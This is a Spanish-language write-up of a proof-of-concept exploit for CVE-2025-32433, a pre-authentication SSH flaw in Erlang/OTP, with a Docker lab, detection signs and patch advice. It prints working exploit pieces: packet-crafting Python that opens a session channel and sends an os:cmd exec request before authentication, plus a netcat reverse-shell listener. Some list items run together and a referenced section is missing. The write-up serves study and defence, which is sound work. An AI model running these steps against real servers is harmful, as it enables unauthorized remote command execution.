
Exploit de prueba de concepto para CVE-2025-32433, una vulnerabilidad de confusión de canal pre-autenticación SSH en Erlang/OTP, que demuestra bypass de autenticación y ejecución remota de código con un laboratorio Docker.
Descripción: Una demostración de la vulnerabilidad de Confusión de canales previo a la autenticación en Erlang/OTP SSH.
¿De qué trata esta Prueba de Concepto?
Esta Prueba de Concepto demuestra CVE-2025-32433, una vulnerabilidad en la implementación del servidor SSH de Erlang/OTP que permite a un atacante abrir canales SSH y ejecutar comandos antes de la autenticación.
Debido a una aplicación incorrecta de las transiciones de estado del protocolo SSH, ciertos mensajes SSH (SSH_MSG_CHANNEL_OPEN y SSH_MSG_CHANNEL_REQUEST) se aceptan antes de que la autenticación del usuario se haya completado con éxito. Esto resulta en una omisión de autenticación completa y ejecución remota de comandos dentro de la máquina virtual de Erlang.
¿Qué debe ser vulnerable para que esto funcione?
La vulnerabilidad se puede desencadenar cuando se cumplen las siguientes condiciones:
ssh de Erlang está habilitadaEs importante destacar que este problema no depende de credenciales débiles o mala configuración, sino de un manejo defectuoso del estado del protocolo.
¿Cómo se manifiesta la vulnerabilidad y por qué es explotable?
El problema proviene de un fallo de confusión de estado en el servidor SSH de Erlang/OTP, donde el estado de autenticación no se aplica estrictamente antes de procesar mensajes relacionados con canales.
A alto nivel, la explotación procede de la siguiente manera:
SSH_MSG_CHANNEL_OPEN para un canal session.SSH_MSG_CHANNEL_REQUEST de tipo exec en el canal abierto.os:cmd/1) dentro del contexto de la VM.Este comportamiento viola el modelo del protocolo SSH definido en RFC 4252/4254, donde la creación de canales y las solicitudes solo deben permitirse después de una autenticación exitosa.
En resumen:
ssh_connection procesa solicitudes exec prematuramenteEsta es una vulnerabilidad de lógica y gestión de estado, no una debilidad criptográfica.
Los siguientes pasos construyen e implementan un entorno vulnerable autocontenido usando Docker. El contenedor ejecuta un servidor SSH deliberadamente fortalecido que rechaza todas las credenciales, asegurando que cualquier ejecución exitosa de comandos sea el resultado de una omisión de autenticación.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
Una vez en ejecución, el demonio SSH estará expuesto en el puerto 2222 y listo para la explotación utilizando la PoC proporcionada.
Este script explota una falla en el servidor SSH de Erlang/OTP que permite que ciertos mensajes del protocolo SSH se procesen antes de la autenticación.
El proceso de explotación requiere dos terminales: una para recibir la conexión inversa y otra para lanzar el exploit.
Receptor (Terminal 1):
nc -lvnp 4488
Ejecución del exploit (Terminal 2):
python3 exploit.py
Suplantación de protocolo
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
Estos mensajes se utilizan para que el servidor trate la conexión como un cliente SSH legítimo. Avanzan el estado del protocolo SSH lo suficiente como para permitir mensajes relacionados con canales sin completar la autenticación.
Canal de sesión previo a la autenticación
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
Esta solicitud se utiliza para abrir un canal de sesión antes de la autenticación. En servidores SSH vulnerables de Erlang/OTP, esto evita los controles de acceso normales y crea una sesión no autorizada.
Solicitud de ejecución de comandos
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
Esta solicitud se utiliza para desencadenar la ejecución de comandos a través del runtime de Erlang. Envolver la carga útil en sintaxis de Erlang asegura que el comando sea ejecutado por la VM de Erlang en lugar de tratarse como un comando de shell SSH estándar.
Si el objetivo es vulnerable, el comando suministrado se ejecuta sin autenticación.


La defensa contra esta vulnerabilidad depende de una segmentación de red estricta y monitoreo a nivel de protocolo, ya que los registros de autenticación estándar pueden no registrar los intentos de omisión (ya que la autenticación se omite).
SSH_MSG_CHANNEL_OPEN (Tipo 90) se envían inmediatamente después del Intercambio de Claves, sin un paquete SSH_MSG_USERAUTH_SUCCESS (Tipo 52) precedente.os:cmd inesperadas o la creación de procesos shell que no se correspondan con una sesión de usuario que haya iniciado sesión correctamente en los registros de la aplicación.La única solución completa es parchear el runtime subyacente de Erlang/OTP para aplicar transiciones de estado estrictas.
Actualice el runtime de Erlang/OTP inmediatamente a una versión que aplique verificaciones de autenticación antes de la creación de canales. Asegúrese de estar ejecutando una versión más reciente que las enumeradas en la sección "Condiciones afectadas".
Consulte los Lanzamientos oficiales de Erlang/OTP en GitHub para obtener los parches de seguridad más recientes.